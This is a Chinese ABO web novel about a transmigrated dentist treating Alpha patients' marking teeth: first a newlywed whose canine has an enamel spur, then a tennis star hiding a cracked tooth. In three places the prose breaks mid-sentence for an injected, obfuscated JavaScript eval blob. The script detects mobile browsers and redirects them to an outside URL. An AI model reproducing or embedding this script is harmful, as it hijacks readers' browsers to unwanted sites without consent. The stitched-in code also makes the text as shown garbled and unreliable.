《在ABO世界当牙医》 1. 我在ABO世界当牙医 上午九点十分,苏琼林把最后一把探针放进无菌托盘。 诊所里的消毒水味随着通风系统的轻微嗡鸣,弥漫了整个空间。 墙面是刷得匀净的米白色,没有多余的装饰,只有诊疗室门口挂着块木牌,上面用烫金的字写着“齿科中心”。 这名字是注册时按规定来的,但私下里总有人叫“生殖辅助科”,苏琼林听过几次,没反驳,也没放在心上。反正只是个工作的地方罢了。 他坐在诊疗椅旁的转椅上,指尖捏着一片刚洗好的X光片,对着冷白光看。 光片里Alpha的右侧犬牙内侧,一个微小却尖锐的牙釉质凸起清晰可见,紧挨着那根细得几乎看不见的导管。这世界的人把那玩意儿当宝贝,叫“信息素导管”,苏琼林倒觉得跟他原世界里的牙根管没多大区别,只是功能不一样而已。 苏琼林的拇指无意识地摩挲着X光片的边缘,想起昨天助理小周提到,这对新婚伴侣已经辗转三家诊所,最终才找到这里。 据说前三家都一致建议拔牙。 他轻嗤了一声,倒不是嘲讽病患,是觉得这个世界的牙科实在离谱。 就这么个小凸起,换原世界,随便一个正规牙科诊所都能做微创调磨。到这儿倒好,直接上升到“拔牙重植”的地步。 他们估计就没想过,不说效果如何,光是“要拔犬牙”这事儿,就能让一个Alpha焦虑得夜不能寐、头发掉光。 门口传来轻轻的敲门声,助理小周先探进来半个脑袋,小姑娘眼睛有点圆,说话细声细气:“苏医生,林先生和陈先生到了。” 苏琼林抬手把白大褂的袖口往上捋了捋,露出手腕上的表。 离预约时间还有两分钟,这对倒是准时。 “让他们进来。”苏琼林把X光片放回文件夹,起身走到诊疗椅旁边,调整了一下头顶的灯。 灯光是暖白色的,不会刺眼。 原世界的经验告诉他,过冷的灯光会让患者更紧张,不过这个世界的人好像更在意“信息素”而非“光线”。 门被推开,先走进来的是个高个子Alpha,肩宽腿长,穿了件深灰色的休闲西装,却没好好穿,扣子没扣,里面的白衬衫领口也松着两颗。他进门时脚步顿了一下,有点紧张,手不自觉地攥了攥身边人的手腕。 被他攥着的Omega个子矮一些,穿着浅蓝色的卫衣,后颈的帽子被他拉得有点高,像是想把什么藏起来。 他的目光关切地落在身边的Alpha身上,两人手指上戴着款式简单的对戒,显出新婚的痕迹。 “苏医生,您好。”Alpha先开口,声音有点发干,他松开Omega的手,目光落在诊疗椅上,仿佛那椅子是什么危险东西,“我叫林思舟,这是我先生,陈禾然。” 他说“先生”两个字时,语气里还带着一丝新婚的羞涩。 苏琼林没跟他握手,只是指了指诊疗椅:“坐吧,林先生。先看牙。” 林思舟愣了一下,大概是没料到苏琼林这么直接,连句寒暄都没有。 他看了眼陈禾然,陈禾然冲他点了点头,小声说“去吧,我在这儿”,他才慢慢走到诊疗椅旁,犹豫了一下,坐了上去。 与此同时,小周轻声对陈禾然说:“陈先生,您可以坐在旁边的等候椅上。” 她指了指墙边舒适的单人沙发。 陈禾然感激地笑了笑,走过去安静地坐下,双手交叠放在腿上,视线仍紧跟着自己的Alpha。 苏琼林又重新翻开了之前预约时提交的病历本,上面记着之前三家诊所的诊断意见。 “右侧犬牙内侧形态异常,存在尖锐凸起,邻近信息素导管,建议拔除重植。”他扫了一眼,抬眼问林思舟,“之前的医生说要拔牙,为什么没拔?” 林思舟的身体僵了一下:“拔了……拔了之后重植的牙,我们担心效果不好。” 他下意识摸了摸自己无名指上的戒指:“我们刚结婚,这颗牙……是用来标记的,拔了再植,万一到时候……” 后面的话他没说,但苏琼林懂了。 这世界的Alpha把犬牙当命根子,尤其是犬牙还跟标记挂钩,要拔就跟要命似的。 “发现这个问题已经有一个月了?”苏琼林将病历本放回桌上。 林思舟看了一眼他的Omega伴侣:“嗯,大概一个月了。是……是第一次尝试完全标记的时候发现的。”他的声音低了下去,“他后颈疼得厉害,我也觉得牙不舒服。后来发现每次尝试标记都会这样……” 陈禾然在旁边轻声补充,脸上也泛起红晕:“我们问了好几个医生,都说思舟的犬牙内侧长了个不该有的东西,太靠近信息素导管了,所以才会这样,必须拔了重植一颗。” 小周默默递上一杯水给陈禾然,对他露出一个安慰的笑容。 作为齿科中心的医生助理,她见过太多焦虑的AO伴侣,深知这个消息对新婚夫夫来说意味着什么。 苏琼林点点头,没接话,只是拿起口镜和探针:“张嘴,啊一下。” 林思舟顺从地张开嘴。苏琼林将光线调亮一些,用口镜照在右侧犬牙内侧。 牙冠内侧确实有一个米粒大小的尖锐突起,位置很隐蔽,紧挨着信息素导管,不仔细看很难发现。 他用探针轻轻碰了碰那个凸起,问:“标记用力时,是这里感到锐痛吗?” 林思舟猛地瑟缩了一下,倒吸一口凉气:“对!就是这里!每次标记发力的时候,像被什么尖锐东西从内部硌着刺着似的。不仅他疼,我也疼得厉害!” “是个先天性的牙釉质形态异常形成的凸起,没碰到导管,但离得很近,而且反作用力会刺激到你自己的牙髓。”苏琼林收回探针,把工具放回托盘,“拔了重植反而麻烦,重植的牙没有原生牙耐用,信息素导管的重塑也是个问题,到时候更麻烦。” 林思舟和陈禾然同时愣了一下,陈禾然先反应过来,声音都提高了点:“真的不用拔?我们之前问的医生都说必须拔,说这个位置太危险太特殊,没法处理……” 他们没本事修,才会让你们拔。 但苏琼林并不点评之前的医生诊断,他点开林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696195|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思舟的X光片,指给他们看,“你看这里,凸起和导管之间还有安全的牙体组织隔开。精准磨掉这个凸起,就能解决双方疼痛的问题,不用动牙根。” 把尖锐凸起磨平抛光,形成光滑流畅的生理形态,问题就解决了。 后面的话苏琼林没说,没必要,等做完了他们自然知道。 林思舟明显松了口气,身体微微前倾:“那磨平之后,标记就不会疼了吧?我不会疼,他也不会疼吧。” 他急切地看向陈禾然,眼中满是期待。 “会解决这个问题的。” “那会不会影响标记?比如牙的结构……” “只会去除多余的、有害的结构,恢复牙齿应有的正常形态。”苏琼林起身,不想再说什么安抚的话,“先做检查,确定牙髓状态和导管的确切位置。现在再去拍个口腔CT,看得更清楚。小周带他们去,跟CT室说好怎么拍,拍完回来找我。” 小周立即上前一步,语气轻快地说:“请跟我来,CT室就在隔壁,很快就能完成。” 林思舟应了声,拉着陈禾然跟着小周出去了,两人手指紧紧交缠。 诊疗室里只剩下苏琼林一个人,他走到窗边,看着外面的街道。 这个世界的建筑和他原来的原世界差不多,只是偶尔能看到有人戴着“信息素阻隔贴”,贴在手腕或者脖子上,颜色各异。 这让他想起刚穿越时的情形,他手背扎着针,举着吊瓶站在厕所门口,困惑地盯着门上的标志。 路过的护士见他盯着厕所上的标志发呆,又听说他是被车撞的,以为他伤了脑子,熟门熟路地给他解释:“你不记得了吗?Alpha、Beta、Omega是三种性别,你是Beta,应该去中间左边那个卫生间。” 那时他才明白,这世上性别不止男女,还分ABO。 原世界他是牙科医生,过劳晕倒后穿成了这个“车祸Beta”。 后来他理清原主的事:孤儿,刚考上本地医学院的牙科研究生,还没开学就被失控的货车撞了。抢救无效时,他刚好穿了过来。肇事者当场没了,保险公司按规定赔了一大笔钱,够他付医药费还剩不少,倒不用刚醒就为生计发愁。 最初他还期待着能返回原世界,但随着时间推移,他逐渐接受现实。 他利用原主的身份完成了学业,通过执业考试,在这个陌生世界站稳了脚跟。 他想,反正都是做牙医,在哪儿做不是做呢? 小周带着拍完CT的伴侣回到诊疗室,轻声打断了他的思绪:“苏医生,CT结果已经传到您的电脑上了。” 苏琼林转身回到工作台前,仔细查看了三维影像。 “很好,导管位置很清晰,安全距离足够。”他对林思舟说,“如果你准备好了,我们现在就可以开始处理。” 林思舟深吸一口气,看向陈禾然,从伴侣鼓励的眼神中获得了勇气,然后坚定地对苏琼林点了点头。 “好的,我们做。” “小周,”苏琼林转向助理,“准备好微创调磨的知情同意书。” 2. 牙医我是专业的 林思舟接过知情同意书时,指尖有点发颤。 他低头盯着纸上的条款,明明每个字都认识,可连在一起看,总忍不住往“会不会伤到导管”“以后还能不能标记”上想。 陈禾然站在他旁边,也凑着头一起看,肩膀轻轻挨着他的胳膊,无声地给他底气。 “不用逐字抠,重点看风险提示那几条。” 苏琼林的声音从旁边传来,他正弯腰检查微创调磨用的器械,确保等下操作顺利进行。 “主要风险是术中可能碰到牙髓,但你的CT显示牙髓距离操作区还有两毫米,概率很低。另外就是术后敏感,一周内别吃太冰太烫的就行。” 林思舟“哦”了一声,快速扫过风险提示栏,笔握在手里,却还是顿了一下:“苏医生,要是……我是说要是,真碰到导管了怎么办啊?” 怎么可能碰到? 苏琼林拿起酒精棉片,顺着器械的纹路慢慢擦:“碰到了就暂停,做导管保护,但我会尽量不碰到。” 他既没说绝对不会,也没说不好说,可听在林思舟耳朵里,莫名就松了点劲。 他签上自己的名字,陈禾然在旁边看着,等他签完,才小声说:“我在旁边等你。” 林思舟点头,跟着苏琼林走到诊疗椅旁。 “放轻松,头部靠在头托上。”苏琼林的声音很平稳,没有多余的安慰,但专业的指令本身似乎就带有一种令人安心的力量。 他调整椅背的角度,让林思舟处于最合适的位置,头顶的无影灯照亮了他的口腔。 小周熟练地准备好高速手机、吸唾器以及一系列微创调磨所需的精细车针和抛光器械。 苏琼林戴上放大眼镜,视野瞬间聚焦于那颗至关重要的犬牙。 他先进行了局部麻醉,动作很快,针尖刺入的瞬间,林思舟只是轻微地蹙了下眉。 “感觉怎么样?嘴唇和脸颊有麻木感了吗?”苏琼林问。 “有……有点麻了。”林思舟的声音因为麻醉效果有些含混。 “好。”苏琼林拿起高速手机,安装上最细颗粒的车针,“过程中如果有任何不适,可以举手示意,但头部请保持不动。” 林思舟眨了眨眼,算是回应。 下一秒,他就听到一阵很轻的“嗡嗡”声,是小号钻头启动的声音。 不像他想象中那种刺耳的轰鸣,倒有点像夏天傍晚耳边飞过的小虫子,细细的,带着点轻微的震动。 苏医生的手很稳。 林思舟能感觉到钻头碰到牙齿内侧的触感,有点麻,还有点酸,像是牙齿被轻轻挠了一下。 他忍不住想往后缩,刚动了半分,苏琼林的声音就又传来:“别动。” 声音不大,可林思舟莫名就停住了动作。 他眼角的余光能看到苏琼林的侧脸。 对方垂着眼,黑眸盯着他的口腔,睫毛很长,在眼下投了点浅影。 旁边的陈禾然就站在离诊疗椅不远的地方,双手交叠在身前,目光一直落在林思舟身上。 看到林思舟皱眉头,他手指动了动,想上前又忍住,只是轻声说:“忍忍,马上就好。” 苏琼林没理会他们俩的互动,专注地调整着角度。 磨下来的牙釉质粉末很细,他另一只手拿着小吸管,随时把粉末吸走,没让粉末粘在林思舟的牙龈上。 陈禾然看着苏医生那双冷静到近乎无情的眼睛,心里最初的忐忑竟奇异地平复了一些。 这位医生虽然话不多,态度也不热情,但那种绝对的专注和稳定,真的给人一种莫名的信赖感。 时间一分一秒过去,诊疗室里只有器械细微的声响和冷却水的轻溅声。 终于,苏琼林停下了手里的动作,换了一个抛光用的器械。 “快了。”他难得开了口。 林思舟紧绷的下颌线稍微放松了些。 抛光过程更温和一些,只有轻微的摩擦感。 最后,苏琼林用探针轻轻划过处理过的区域,又用口镜反复检查了几次。 “可以了。”他关闭设备,放下器械,“起来漱漱口。” 小周立刻递上温水。 林思舟坐起身,接过杯子,漱了漱口,吐掉带点粉末的水。 他第一时间用舌尖小心翼翼地舔了舔原先那个凸起的位置。 平滑的。光滑的。 那个困扰了他一个多月、甚至可能影响他婚姻幸福的尖锐异物感,消失了。 “怎么样?”陈禾然迫不及待地凑上前问。 “平了!”林思舟的眼睛瞬间亮了起来,语气带着难以置信的惊喜,“真的平了!很光滑,那个东西不见了!”他激动地抓住陈禾然的手,“然然,真的平了!” 陈禾然也高兴地笑了起来。 苏琼林正在填写病历,头也没抬:“麻醉效果大概两小时后完全消退。牙髓有些许刺激,近期避免过冷过热饮食。注意口腔卫生,一周后复查。” “谢谢您!苏医生!真的太感谢了!”林思舟的情绪明显激动起来,信息素都跟着活跃了些,带着一种雨后青草般的清新气息。 他紧紧握着陈禾然的手,喜悦溢于言表。 陈禾然也连声道谢,看着苏琼林的眼神充满了感激。 然而,高兴之余,两人对视一眼,似乎还有话想说。 林思舟犹豫了一下,还是忍不住开口:“苏医生,那……这样处理之后,标记应该就没问题了吧?我是说,肯定不会疼了,也能……成功吧?” 这个也要问牙医? 苏琼林写字的手顿了一下,放下笔,抬起头。 他的目光扫过眼前这对新婚伴侣,脸上没什么表情。 “林先生,陈先生,”他的声音平稳无波,“我修复的是你牙齿上异常的结构,解决了导致你们双方疼痛的物理原因。” 他稍微停顿了一下,看到两人眼中燃起的希望之光,继续用那种冷静到近乎疏离的语气说道:“标记的成功与否,取决于很多因素,牙齿形态只是其中之一,更重要的是你们双方身心的契合与意愿。这一点,我无法保证,也不属于我的诊疗范围。” 林思舟和陈禾然愣了一下,似乎有些失落,但又仿佛明白了什么。 “我知道了。”林思舟点点头,没有再追问,“谢谢您,苏医生。那我们一周后再来复查。” 送走这对情绪复杂的伴侣,小周一边整理诊疗室,一边小声对苏琼林说:“苏医生,您每次都说那么直接,他们看起来好像有点……” “实话而已。给他们不切实际的希望,才是失职。” 小周吐了吐舌头,没再说什么。 她知道苏医生就是这样,技术好得没话说,但说话也是直接得能噎死人。 不过也正是这种绝对的专业和冷静,才让那么多身份特殊的患者放心地把最隐私的问题交给他。 门轻轻合上。 苏琼林停下笔,摘掉口罩、护目镜跟手套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696196|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扔进一旁的废物回收桶。 他走到洗手池边,挤上消毒洗手液,仔细揉搓冲洗着每一根手指。 水流声哗哗作响。 他透过镜子看到自己没什么表情的脸。 黑发黑眸,大概是常年待在室内的缘故,肤色偏白。眼神总是过于专注和锐利,以至于常常让人觉得难以接近。 对于那对伴侣最后的追问,他并不觉得意外。 这个世界的人似乎总是这样,将对标记、羁绊的渴望异常强烈,总想要个百分百的保障。 但他给不了。 他是医生,只负责解决牙齿的问题。 至于标记能否成功,那是由他们AO生理本能和情感共同决定的复杂命题,与他无关。 擦干手,他回到办公桌前,看了一眼接下来的预约表。 今天的日程不多,接下来的预约,名字是艾利欧·卢茨,时间是下午两点。 预约原因:右侧犬牙不适。 怎么又是右侧犬牙?还是个外国友人? 预约姓名后面打了个星号,这是小周的习惯,通常意味着“知名人士”或“特殊情况”。 但苏琼林对这个名字没什么印象。 不过他本身也不太关注专业、行业以外的东西,穿越后,更是将全部精力都投入到了适应和精进技术上,对这个ABO世界的名流知之甚少。 他例行公事地调出了这位患者的初步登记信息。 性别:Alpha。等级标注是S。 苏琼林眉梢微挑。 S级Alpha,倒是少见。这类Alpha通常拥有极强的身体素质和更浓郁的信息素,某种程度上算是Alpha中的顶尖存在。 他关掉页面,不再关注。距离门诊还有一段时间,他需要整理一下刚刚的病历,并简单休息一下。 …… 下午一点五十分,诊所的门被推开。 紧接着,一个高大身影迈了进来,仿佛自带聚光灯,瞬间吸引了助理小周的全部视线。 男人太高了,肩宽腿长的身形往那里一站,几乎把门口的光线都占了大半。 金色长发带点自然卷的飘逸,几缕发丝垂在颊边,余下的松松束在脑后,像被风揉过的绸缎,既显利落又透着股漫不经心的张扬。眉骨高挺,眼窝陷得浅,眼尾微微上挑,湛蓝色的瞳孔亮得很直接,看过来的时候,像把整个区域都纳入了视线里。鼻梁很挺,鼻尖带着点锋利的棱角。嘴唇薄,唇线绷着的时候显冷,可此刻嘴角勾着点浅笑,左边嘴角陷出个小小的梨涡,一下子揉进了阳光气。 他穿了件浅灰运动外套,拉链只拉到胸口,露出里面白色纯棉T恤,领口被扯得有点松,能看到小麦色的脖颈线条。外套袖子挽到小臂,露出的胳膊肌肉线条很紧实,看上去仿佛经过最精密的锤炼,蕴含着收放自如的爆发力。 他左手拎着个黑色运动包,包带随意搭在肩上,右手插在运动裤口袋里,站姿很松弛,腰背没刻意挺直,却让周围的空气都比平时滞了半分。 并不让人难受,更像是一种强烈的提醒,提醒着一个极其强大的生物体进入了这个空间。 这就是S级Alpha。 即使对方明显收敛着,那若有若无的威压感依旧独特而极具侵略性。 小周只觉得呼吸微微一窒,一种生物本能对顶级存在的警觉让她瞬间绷紧了神经。她愣了一秒,才找回自己的声音:“您、您好!请问是卢茨先生吗?” 3. 初次交锋 金发男人的目光落在了小周身上,嘴角那点随意的笑意加深了些,左边脸颊那个小小的梨涡又露了出来,冲淡了些许他五官带来的侵略性。 “是的,艾利欧·卢茨。我和苏医生约了两点。”他的中文发音很标准,只是语调带着点独特的异国韵味。 “好的,卢茨先生,请您先这边坐一下,苏医生马上就好。”小周尽量让自己的语气保持专业,引导他到接待区的沙发就座。 这可是网坛巨星艾利欧·卢茨诶,标记牙也出了问题? 可惜她签了保密协议,也只好按捺住蠢蠢欲动的八卦心思。 艾利欧却没立刻动。 他目光好奇地扫过诊所简洁的装潢,最后落在墙上那块写着“齿科中心”的木牌上,眉梢微挑:“齿科中心?但我听说这里……嗯,好像不叫这个名字。” 他语气随意,像是闲聊。 我去! 中心的别称已经传到外国友人耳中了吗?艾利欧是慕名而来的吗? 小周有些无语,知道他指的是那个私下在圈子内流传的“生殖辅助科”别称,连忙解释:“我们是正规的齿科诊所,只是苏医生在标记相关齿科问题方面非常专业。” “当然,专业最重要。”艾利欧从善如流地点头,却还是没有坐下,目光投向诊疗室紧闭的门,“苏医生还在忙?” “他马上就好。您稍等,我给您倒杯水。”小周说着,转身去饮水机旁拿纸杯。 艾利欧这才坐下,运动包放在脚边。 他身体微微后靠,手臂舒展地搭在沙发扶手上,看似放松,但那双湛蓝色的眼睛却不着痕迹地观察着四周。 这座城市是他此次巡回赛的一站,牙痛得不是时候,他绝不能让自己牙齿出现问题、可能影响比赛的消息泄露出去,引来无孔不入的媒体和那些烦人的猜测。 团队医生私下推荐了这家诊所,据说在特定圈子里以解决“棘手问题”和“绝对保密”而闻名,虽然大众知名度不高,但正合他意。 现场一看,环境简洁、低调,就是不知专业程度是否符合预期了。 小周端着水回来时,看到的就是这样一幅画面。 男人坐在那里,明明只是安静的等待,却硬生生把普通的诊所沙发坐出了王座般的气场。 她小心翼翼地把水杯放在他面前的茶几上:“您请用。” “谢谢。”艾利欧道谢,笑容迷人,但小周能感觉到,那笑容更多是一种习惯性的礼貌。 就在这时,诊疗室的门开了。 苏琼林走了出来。 他已经脱掉了白大褂,穿着简单的浅灰色衬衫和黑色长裤,更显得身形修长挺拔。 他手里拿着一个文件夹,正低头看着,眉头微蹙。 “苏医生,”小周连忙出声,“卢茨先生到了。” 苏琼林闻声抬头,目光从文件夹上移开,看了看腕上的手表,又平静地看向沙发上的艾利欧。 两人的视线在空中短暂交汇。 艾利欧脸上的笑容未变,他自然地站起身,完美的身高优势让他展现出无形的压迫感:“苏医生?我是艾利欧·卢茨。” 苏琼林的视线在他脸上停留了不到一秒,公事公办地点了下头:“卢茨先生。请跟我来。” 说完,转身就走向身后的诊疗室,没有再多停留一秒。 艾利欧看着那个干脆利落转身的背影,还没来得及完全伸出去的手在空中微妙地停顿了一瞬,随即若无其事地收回,插进了运动裤口袋里。 他嘴角的笑意淡了几分,那双湛蓝色的眼睛里,好奇的光芒却更盛了。 他拎起脚边的运动包,跟在苏琼林身后,走进了诊疗室。 门在身后轻轻合上,隔绝了外面的世界。 诊疗室里的光线比外面更亮,也更冷冽。 无影灯尚未开启,但顶灯已经将室内照得纤毫毕现。 这间诊疗室比艾利欧想象中更简洁。米白色的墙面,不锈钢的器械柜,整洁的操作台,以及中央那张看起来科技感十足的诊疗椅。 空气里弥漫着淡淡的消毒水味,和他刚才在外面闻到的一样,但在这里似乎更浓郁了些,无声地强调着此地的绝对主权。 消毒水味道还含着一丝极淡的冷冽气息,艾利欧猜测那大概是属于苏医生本人的味道,一种与他自身蓬勃热烈的信息素截然相反的、冷静到近乎禁欲的气息。 苏琼林重新穿上了一尘不染的白大褂,戴上了口罩,正站在洗手池前,垂着眼清洗双手。 做好准备,抬头看艾利欧还站在那里,苏琼林伸手指了指那张看起来颇具科技感的诊疗椅:“坐。” 艾利欧依言坐下,将运动包放在脚边。 诊疗椅的触感微凉,他调整了一下坐姿,试图让自己看起来更放松些。 苏琼林坐到电脑前,调出档案。 “艾利欧·卢茨,年龄二十五,S级Alpha。”他念着屏幕上的基本信息,“主诉右侧犬牙标记时疼痛,持续约五天周。” 艾利欧迎上他的视线,嘴角重新勾起点笑意。他身体微微前倾,手肘撑在分开的膝盖上,这是一个略带压迫性和自信的姿态。 “对,右边这颗。”他用舌尖顶了顶右侧犬牙的位置,动作随意,“其实也不是什么大问题,就是……嗯,标记的时候,发力会有点痛。” 他语气轻松,带着点调侃,眼神却仔细地观察着苏琼林的反应。 标记?呵,Alpha! 苏琼林脸上没有任何表情,既没有好奇也没有尴尬,只是抬起眼看向艾利欧,黑色的眸子显得格外深邃:“标记的时候痛?具体痛了多久?是咬合之前痛还是之后痛?有没有受过外伤?” 我又没真的标记过,怎么知道是咬合之前还是之后? 艾利欧脸上的笑容淡了些,他往后靠了靠,试图用更放松的姿态掩饰:“大概一周吧,就是咬的时候会痛,没注意是之前还是之后。外伤……应该没有。” 他说“应该没有”的时候,稍微停顿了一下,舌头下意识地顶了顶右侧脸颊,左侧脸颊上的梨涡又不自觉地露了出来。上周训练时被失手挥过来的球拍擦到侧脸,当时只觉得有点麻,没在意,直到后来咬东西时牙齿开始疼,才后知后觉地想到可能是那下撞的。 但这事不能说,有点丢脸。 苏琼林没错过艾利欧那一瞬间的停顿,他的眉头蹙了起来,对这种模糊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696197|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主观描述不太满意。 但他也没追问,只是点了点头,站起身拿起一副新的无菌手套。 “张嘴,我看看。”他的声音透过口罩传来,平淡,但不容拒绝。 他戴上手套的动作很利落,指尖翻飞间,白色的乳胶手套就贴合了手型,没有一丝褶皱。 艾利欧看着他走近,那双手骨节分明,手指修长,却不纤细,指腹带着点薄茧。大概是长期握器械磨出来的,透着股沉稳的力量感。 艾利欧顿住了。 灯光下,金属器械反射出冰冷的光泽。 他知道会做检查,但没想到这么直接,这么快。 张开嘴,露出Alpha的标记齿,还是在一个完全陌生的人面前,这仿佛是一种示弱,让他本能地产生一丝抗拒。 他习惯了掌控节奏,而不是被如此利落地牵着鼻子走。 他抬眼看向苏琼林,试图做最后的努力:“苏医生,不用这么急吧?我觉得我们可以先谈谈,问题主要还是出在标记的时候,可能只是用力过猛或者……” 谈什么?有什么可谈? 苏琼林没有催促,隔着一臂的距离,冷静地看着他,等待着。 那双黑色的眼睛里没有任何情绪,但那专注的注视,本身就是无形的压力,比言语上的催促更令人难以抗拒。 艾利欧确定,眼前这位苏医生的眼神在明确表示:在这里,我是医生,我做主。 空气似乎凝滞了几秒,消毒水的气味仿佛也更浓了。 艾利欧喉结微动,在那双毫无波澜的黑眸注视下,最终还是顺应了指令,不太情愿地张开了嘴。 他能感觉到苏医生的手指轻轻扶住他的下颌,力度不重,却不容挣脱。 苏琼林将艾利欧的头微微往左侧转了点,方便他观察右侧的犬牙。 冰凉的金属口镜探入,轻轻撑开右侧的颊肉,灯光也随之调整,暖白色的光打在牙齿上,连牙釉质上的细小纹路都照得一清二楚。 探针的尖端小心翼翼地碰触着他的右侧犬牙,从各个角度轻轻敲击、刮擦。 艾利欧能清晰地感觉到探针划过牙面的细微触感,能听到对方平稳得几乎听不到的呼吸。他能闻到对方身上淡淡的消毒水味,混合着一种类似冷泉的干净气息,很淡,却奇异地中和了空气中他自己那因为情绪波动而隐隐躁动的Alpha信息素。 他的目光不由自主地落在苏琼林近在咫尺的脸上。 对方的皮肤很白,睫毛很长,从口罩边缘露出来的鼻梁挺直,清冷的眉眼让他看起来不是很容易亲近。 他的眼神完全聚焦在自己的口腔内部,那种全神贯注,仿佛整个世界只剩下自己这颗牙齿和它的病灶。 艾利欧活了二十多年,除了小时候看过牙医,还没被人这么近距离地盯着牙齿看过,尤其还是那颗标记牙。 看了不到十秒,苏琼林换了个角度,用探针的尖端非常轻地触碰了一下艾利欧右侧犬牙外侧靠近牙龈的某个点。 几乎是同时,艾利欧猛地吸了一口气,身体下意识地往后缩了一下,眉头紧紧皱起。 一股尖锐的酸痛直冲脑门! “你干什么?”质问脱口而出。 4. 病人怎么能说谎呢 艾利欧那句带着明显不悦的质问脱口而出,尾音因为突如其来的酸疼而微微变调,在安静的诊疗室里显得格外突兀。 苏琼林的动作顿住了,他没有因为这句近乎冒犯的质问而动怒,只是目光从艾利欧的口腔移到他微微皱起的脸上。 那一下精准的触碰后,他已经得到了需要的信息。 刚刚触碰的位置有牙釉质裂纹,外侧近龈缘处,纵向延伸约1.5毫米。叩痛明显。 他撤回探针,但另一只扶着艾利欧下颌的手并未松开,防止他因疼痛再次后缩。 艾利欧吸着气,那股尖锐的酸痛感似乎还在脑子里嗡嗡作响,刺激得他眼角都有点生理性的湿润。 他下意识地想抬手去掩饰一下,但苏琼林固定着他下颌的手让他无法动弹。 “你……”艾利欧有点冒火,他从未在任何人面前露出过这种近乎脆弱的反应。 苏琼林看向他,黑色的眸子冷静得像深潭。这让艾利欧瞬间感到一丝莫名的压力,仿佛自己刚才的反应才是不合时宜的那一个。 “这里就是发力时疼痛的位置,对吗?” 他的语气太理所当然,让艾利欧觉得自己刚才那过激的反应只是诊疗过程中微不足道的小插曲。 艾利欧噎了一下,刚刚那股尖锐的酸痛感跟他的反应让他没法立刻反驳。 他深吸了一口气,试图压下那点狼狈和因疼痛而起的烦躁,下颌线绷得有点紧。 “……是。”他声音闷闷的,“就是这里,一碰就酸,发力的时候更明显。” 如果不是这样,他也不想让别人来看他的标记牙。 “位置和你的疼痛反应点吻合。”苏琼林陈述,语气里没有掺杂任何个人情绪,“但我判定该处有典型的外力撞击特征,卢茨先生。” 他发现了? 艾利欧的心猛地一跳。 苏琼林放开了他的下颌,转身走向旁边的电脑,调出刚刚助理小周根据预约信息初步录入的简单病历。 艾利欧看着他清瘦挺拔的背影,下意识地用舌尖舔了舔刚才被戳痛的位置。 “主诉:右侧犬牙标记时疼痛,持续约五天。”苏琼林看着屏幕,复述着艾利欧之前提供的信息,“没有提及外伤史。” 艾利欧的心跳又漏了一拍。 他放在膝盖上的手指无意识地蜷缩了一下,却仍然维持着那副轻松随意的表情,绝口不提外伤:“对啊,就是标记的时候才感觉不对。是不是磨损过度?或者有点敏感?听说你们这里对这种问题很有办法。” 苏琼林没有接话。 他操作鼠标,放大了屏幕上的一张口腔X光片,那是艾利欧预约时提供的初步影像。他的目光专注地落在右侧犬牙的影像上,指尖无意识地在鼠标上轻轻敲击了两下。 诊疗室里一时间只剩下仪器低微的运行声和两人清浅的呼吸声。 艾利欧看着苏琼林的侧脸,试图从那副冰冷的眉眼和口罩后面解读出一点信息,但失败了。 对方就像一座被封冻的湖,所有的情绪和想法都沉在冰层之下。 这种完全无法掌控的感觉,让习惯了掌控一切的艾利欧感到些许不适,却又莫名觉得新奇。 他忍不住又开口,试图打破这种沉默:“怎么样,苏医生?问题不大吧?能尽快处理吗?我最近比较忙。” 苏琼林终于动了。 他抬起头,重新面对艾利欧,身体微微前倾。那个姿态本身并不具有攻击性,苏琼林做出来却带着一种不容置疑的权威感。 “过来看。” 艾利欧迟疑了一瞬,还是从诊疗椅上起身,走了过去。 他个子很高,站在坐着的苏琼林身后,几乎能将对方整个笼罩住。 他能闻到苏琼林发间与消毒水味不同的清爽气息,很淡,却很清晰。 苏琼林完全没注意到身后逼近的高大身影和那无形中散发着的Alpha存在感,他用鼠标光标点在X光影像上右侧犬牙的某个区域。 “卢茨先生,”他开口,声音很平稳,但艾利欧莫名觉得周围的空气似乎凝滞了一瞬,“根据X光片显示,以及我刚才的触诊,你的右侧犬牙靠近牙龈缘的位置,存在一条纵向的牙釉质裂纹。” 艾利欧愣了一下:“裂纹?” “是的。裂纹从牙冠表面向牙根方向延伸,目前看来深度有限,未触及牙髓,但已经足够引起明显的冷热刺激痛和咬合痛,尤其是在特定角度受力时。” “所以……是因为这个裂纹,我才觉得疼?” “基本可以确定。”苏琼林点头,“现在的问题是,这条裂纹的成因。” 他顿了顿,微微侧头。这个角度,艾利欧能清晰地看到长而密的睫毛和毫无表情的侧脸。 